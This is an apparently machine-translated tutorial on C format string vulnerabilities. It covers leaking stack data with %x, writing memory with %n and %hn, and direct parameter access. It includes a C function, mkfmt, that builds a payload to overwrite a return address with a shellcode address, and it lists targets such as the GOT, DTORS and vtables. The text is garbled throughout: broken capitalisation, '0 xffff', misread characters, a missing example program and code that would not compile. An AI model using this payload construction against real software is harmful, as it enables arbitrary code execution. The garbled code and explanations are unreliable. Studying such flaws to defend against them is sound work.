When the formatting string of the printf series functions contains the data submitted by the user, the formatting string vulnerability may occur. Functions include:
Snprintf
Vfprintf
Vprintf
Vsprintf
Vsnprintf
In addition to this sort function, other functions that accept the C-style format operators may also have similar risks, such as the wprintf function on wind0ws. Attackers may submit many format operators (without providing corresponding variables). In this way, there is no parameter corresponding to the format operator on the stack. Therefore, the system will replace these parameters with other data on the stack, resulting in information leakage and arbitrary code execution.
As mentioned above, the printf function must be passed in the form of a formatted string so that the printf function can determine which variables are used to replace the corresponding formatted string and the form in which variables are output.
However, if we do not provide the most appropriate changes to the formatted string (format character), something strange will happen. For example, the following program calls printf using command line parameters.
Compile the Code as follows: cc fmC. c-o fmt is executed in the following form:
./Fmt "% x"
It is equivalent to calling printf in the program in the following form:
Printf ('% x ");
The preceding statement reveals an important piece of information: we submitted a formatting string, but did not provide the four numbers that replace the string to the most. Interestingly, printf does not report an error, but outputs the following content:
4015c98c 4001S26c bffff944 bffffSe8
I have no idea where I can find four parameters for printf! In fact, the data comes from the stack.
At first glance, this does not seem to be a problem. However, attackers may exploit it to obtain data on the stack. For the stack itself, this may expose sensitive information on the stack, such as the user name and password.
N % this parameter is regarded as a pointer to an integer (or an integer variable, such as short. The number of Yu characters output before this parameter will be saved to the address pointed to by this parameter.
If the following conditions are met, you can use the formatting string vulnerability to execute arbitrary code.
We can control parameters and write the number of output characters to any area of the memory ^
The width format character allows us to fill the output with any length (of course 255 characters). Therefore, we can use the selected value to rewrite a single byte.
Repeat the above steps for four times to rewrite any 48 of the memory, that is, attackers can use this method to rewrite the memory address. However, if you write 00 to the memory address, a problem may occur because 00 is the terminator in C. However, if you can write 28 to the address before it, the hacker may avoid this problem.
Generally, we can guess the address of the function pointer (saved return address, binary file import table, and C ++ vtable). Therefore, we can enable the system to execute the submitted string as code.
There are several common mistakes related to formatting string attacks that need to be clarified ^
They not only affect * nix.
They do not have to be stack-based.
Stack protection usually does not work for them.
Static code analysis tools can usually detect them.
On the vast majority of * nix platforms, you can use direct parameter access to help. Pay attention to the output above. The third value is displayed from the search.
Try the following command: "% 3 \ $ x"
However, if the data is printed for a long time, an error occurs. % hn can solve this problem. it only writes half an integer and two bytes, then the shellcode address can be divided into two parts. write Data to the address to be overwritten and the location where the address is added with 2 in sequence. in this way, the length to be printed will be much reduced.
According to the above Adjusted Results, You can construct a format string shown in the structure to achieve attacks .,
| Retloc + 2 | retloc | % shaddrh-8 x | % flag $ hn percent % shaddrl-shaddrh x percent % flag + 1 $ hn percent
Construct attack Format String
The print length is constructed by using the half-character of the shellcode address to write the return address. Therefore, you must place the smaller half-character in the front Qu to overwrite the return address smoothly. The function process for constructing such a format string is roughly as follows:
Void mkfmt (char * fmtstr, u_long retloc, u_long shaddr, int align, int flag)
{
Int I;
Unsigned int valh;
Unsigned int vall;
Unsigned int b0 = (retloc> 24) & 0xff;
Unsigned int b1 = (retloc> 16) & 0xff;
Unsigned int b2 = (retloc> 8) & 0xff;
Unsigned int b3 = (retloc) & 0xff;
/* Detailing the value */
Valh = (shaddr> 16) & 0 xffff; // top
Vall = shaddr & 0 xffff; // bottom
/*
For (I = 0; I <align; I ++ ){
* Fmtstr ++ = 0x41;
}
*/
/* Let's build */
If (valh <vall ){
Sprintf (fmtstr,
"% C"/* high address */
"% C"/* low address */
"% Uc"/* set the value for the first % hn */
"% D $ hn"/* the % hn for the high part */
"% Uc"/* set the value for the second % hn */
"% D $ hn"/* the % hn for the low part */
,
B3 + 2, b2, b1, b0,/* high address */
B3, b2, b1, b0,/* low address */
Valh-8,/* set the value for the first % hn */
Flag,/* the % hn for the high part */
Vall-valh,/* set the value for the second % hn */
Flag + 1/* the % hn for the low part */
);
} Else {
Sprintf (fmtstr,
"% C"/* high address */
"% C"/* low address */
"% Uc"/* set the value for the first % hn */
"% D $ hn"/* the % hn for the high part */
"% Uc"/* set the value for the second % hn */
"% D $ hn"/* the % hn for the low part */
,
B3 + 2, b2, b1, b0,/* high address */
B3, b2, b1, b0,/* low address */
Vall-8,/* set the value for the first % hn */
Flag + 1,/* the % hn for the high part */
Valh-vall,/* set the value for the second % hn */
Flag/* the % hn for the low part */
);
}
//*
For (I = 0; I <align; I ++ ){
Strcat (fmtstr, "");
}
//*/
}
The example program has some special characteristics. Because the format string is not copied in the past, the alignment string should be placed behind the format string. The following elements are used to exploit the format string vulnerability:
• Overwrite the address to be controlled
• The direct distance between the printf parameter address and the custom format string data address
• The Format String does not have a 4-byte aligned offset.
• Shellcode address
The addresses that can be used to obtain control include the following:
Global Offset Table (GOT) (dynamic relocation to the function, if some people use the same binary file as yours, that would be great, such as rpm:
DTORS table (the function will call the Destructor before exiting );
C function library hook,
Atexit structure;
All other function pointers, such as C ++ vtable and callback functions;
The default unhandled exception handler in windows, which is almost always at the same address
Function return address in the stack
Overwrite dl_lookup_versioned_symbol
In fact, Beat cover dl_lookup_versioned_symbol also covers the GOT technology, but it is just the ld GOT.